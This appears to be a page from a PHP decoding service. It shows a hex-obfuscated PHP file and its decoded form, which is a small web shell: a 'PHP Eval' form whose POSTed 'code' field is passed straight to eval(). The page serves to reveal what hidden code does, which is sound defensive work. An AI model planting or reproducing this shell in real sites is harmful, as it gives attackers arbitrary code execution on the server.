Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
\x20\x65\x63\x68\x6f\x20\x27\xa\x20\x20\x3c\x73\x74\x79\x6c\x65\x3e\xa\x20\x20\x74\x65\x78..
Decoded Output download
<? echo '\xa <style>\xa textarea {\xa width: 300px;\xa height: 150px;\xa padding:9px;\xa background-color:#232323;\xa color:white;\xa }\xa input[type=submit]{\xa background-color: red;\xa border: none;\xa color: white;\xa padding: 16px 32px;\xa text-decoration: none;\xa margin: 4px 2px;\xa cursor: pointer;}\xa\xa\xa\xa\xa </style>\xa \xa\xa<center>PHP Eval<br><br>\xa<form action="" method="POST"><textarea name="code">phpinfo();</textarea><br><br><input type="submit"></form>\xa ';\xa\xa if (isset($_POST['code'])) {\xa echo eval($_POST['code']);\xa }\xa else {\xa\xa } ?>
Did this file decode correctly?
Original Code
\x20\x65\x63\x68\x6f\x20\x27\xa\x20\x20\x3c\x73\x74\x79\x6c\x65\x3e\xa\x20\x20\x74\x65\x78\x74\x61\x72\x65\x61\x20\x7b\xa\x20\x20\x77\x69\x64\x74\x68\x3a\x20\x33\x30\x30\x70\x78\x3b\xa\x20\x20\x68\x65\x69\x67\x68\x74\x3a\x20\x31\x35\x30\x70\x78\x3b\xa\x20\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x39\x70\x78\x3b\xa\x20\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x32\x33\x32\x33\x32\x33\x3b\xa\x20\x20\x20\x20\x63\x6f\x6c\x6f\x72\x3a\x77\x68\x69\x74\x65\x3b\xa\x20\x20\x7d\xa\x20\x20\x69\x6e\x70\x75\x74\x5b\x74\x79\x70\x65\x3d\x73\x75\x62\x6d\x69\x74\x5d\x7b\xa\x20\x20\x20\x20\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x72\x65\x64\x3b\xa\x20\x20\x62\x6f\x72\x64\x65\x72\x3a\x20\x6e\x6f\x6e\x65\x3b\xa\x20\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x77\x68\x69\x74\x65\x3b\xa\x20\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x31\x36\x70\x78\x20\x33\x32\x70\x78\x3b\xa\x20\x20\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x20\x6e\x6f\x6e\x65\x3b\xa\x20\x20\x6d\x61\x72\x67\x69\x6e\x3a\x20\x34\x70\x78\x20\x32\x70\x78\x3b\xa\x20\x20\x63\x75\x72\x73\x6f\x72\x3a\x20\x70\x6f\x69\x6e\x74\x65\x72\x3b\x7d\xa\xa\xa\xa\xa\x20\x20\x20\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\xa\x20\x20\xa\xa\x3c\x63\x65\x6e\x74\x65\x72\x3e\x50\x48\x50\x20\x45\x76\x61\x6c\x3c\x62\x72\x3e\x3c\x62\x72\x3e\xa\x3c\x66\x6f\x72\x6d\x20\x61\x63\x74\x69\x6f\x6e\x3d\x22\x22\x20\x6d\x65\x74\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x3e\x3c\x74\x65\x78\x74\x61\x72\x65\x61\x20\x6e\x61\x6d\x65\x3d\x22\x63\x6f\x64\x65\x22\x3e\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3c\x2f\x74\x65\x78\x74\x61\x72\x65\x61\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x3e\x3c\x2f\x66\x6f\x72\x6d\x3e\xa\x20\x20\x27\x3b\xa\xa\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6f\x64\x65\x27\x5d\x29\x29\x20\x7b\xa\x20\x20\x20\x20\x65\x63\x68\x6f\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6f\x64\x65\x27\x5d\x29\x3b\xa\x20\x20\x7d\xa\x20\x20\x65\x6c\x73\x65\x20\x7b\xa\xa\x20\x20\x7d
Function Calls
None |
Stats
MD5 | 5ebb7248e46017eff8d8bb13217c8acf |
Eval Count | 0 |
Decode Time | 71 ms |